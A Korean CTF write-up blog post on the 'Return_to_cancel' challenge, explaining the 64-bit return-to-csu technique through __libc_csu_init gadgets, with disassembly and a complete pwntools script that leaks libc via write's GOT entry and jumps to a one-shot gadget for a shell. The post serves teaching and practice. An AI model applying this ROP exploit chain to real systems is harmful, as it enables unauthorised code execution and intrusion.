Hanctf Return_to_cancel Writeup

LeeDoHyun · April 14, 2020

64bit return to csu 문제입니다. 문제 이름에서 봤다싶이 RTC라는 문장이 생소하다 느끼는분도 있을꺼같습니다.

return to csu 란, 64bit 바이너리에 __libc_csu_init 안에 있는 gadget을 이용하여 익스플로잇 하는 기술입니다.

ssize_t looool()
{
  char buf; // [rsp+0h] [rbp-D0h]

  return read(0, &buf, 0x200uLL);               // buffer overflow
}

looool함수 5번째 라인에서 오버플로우가 터지는것을 볼 수 있습니다. 근데 딱히 마땅히 쓸 gadget이 없기때문에 libc csu init gadget을 이용하여 익스를 했습니다.

   0x0000000000400600 <+64>:	mov    rdx,r13
   0x0000000000400603 <+67>:	mov    rsi,r14
   0x0000000000400606 <+70>:	mov    edi,r15d
   0x0000000000400609 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040060d <+77>:	add    rbx,0x1
   0x0000000000400611 <+81>:	cmp    rbx,rbp
   0x0000000000400614 <+84>:	jne    0x400600 <__libc_csu_init+64>
   0x0000000000400616 <+86>:	add    rsp,0x8
   0x000000000040061a <+90>:	pop    rbx
   0x000000000040061b <+91>:	pop    rbp
   0x000000000040061c <+92>:	pop    r12
   0x000000000040061e <+94>:	pop    r13
   0x0000000000400620 <+96>:	pop    r14
   0x0000000000400622 <+98>:	pop    r15
   0x0000000000400624 <+100>:	ret

해당 소스는 어셈블리 코드인데, 첫번째 gadget은 0x40061a를 사용하고, 두번째 gadget은 0x400600을 사용하여 익스를 진행해줍니다.

#!/usr/bin/env python2
#-*-coding:utf8-*-

from pwn import *

#context.log_level = 'debug'
IP = 'pwn.koreahacker.kro.kr'
PORT = '12410'
r = remote(IP, PORT)
#r = process('./pwn')
e = ELF('./pwn')
#libc = e.libc
libc = ELF("libc-2.27.so")

__libc_csu_init_gadget1 = 0x40061a
__libc_csu_init_gadget2 = 0x400600
write_got = e.got['write']
looool_function = e.symbols['looool']

payload = 'A'*(0xd0 + 0x8)			# buffer overflow
payload += p64(__libc_csu_init_gadget1)		# return
payload += p64(0)				# pop rbx
payload += p64(1)				# pop rbp
payload += p64(write_got)			# pop r12
payload += p64(8)				# pop r13
payload += p64(write_got)			# pop r14
payload += p64(1)				# pop r15

payload += p64(__libc_csu_init_gadget2)		# return
payload += p64(0)				# mov rdx, r13
payload += p64(0)				# mov rsi, r14
payload += p64(0)				# mov edi, r15d
payload += p64(0)				# call QWORD PTR [r12 + rbx*8]
payload += p64(0)				# add rbx, 0x1
payload += p64(0)				# cmp rbx, rbp
payload += p64(0)				# jne 0x400600 <__libc_csu_init+64>
payload += p64(looool_function)			# jmp
r.sendline(payload)

write_leak = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00')
libc_base = write_leak - libc.symbols['write']
#oneshot_gadget = libc_base + 0x4526a
oneshot_gadget = libc_base + 0x4f322

info('write leak addr : ' + hex(write_leak))
info('libc base addr : ' + hex(libc_base))
info('oneshot gadget addr : ' + hex(oneshot_gadget))

payload = 'A'*(0xd0 + 0x8)
payload += p64(oneshot_gadget)
payload += p64(0) * 10
r.sendline(payload)
r.interactive()

Twitter, Facebook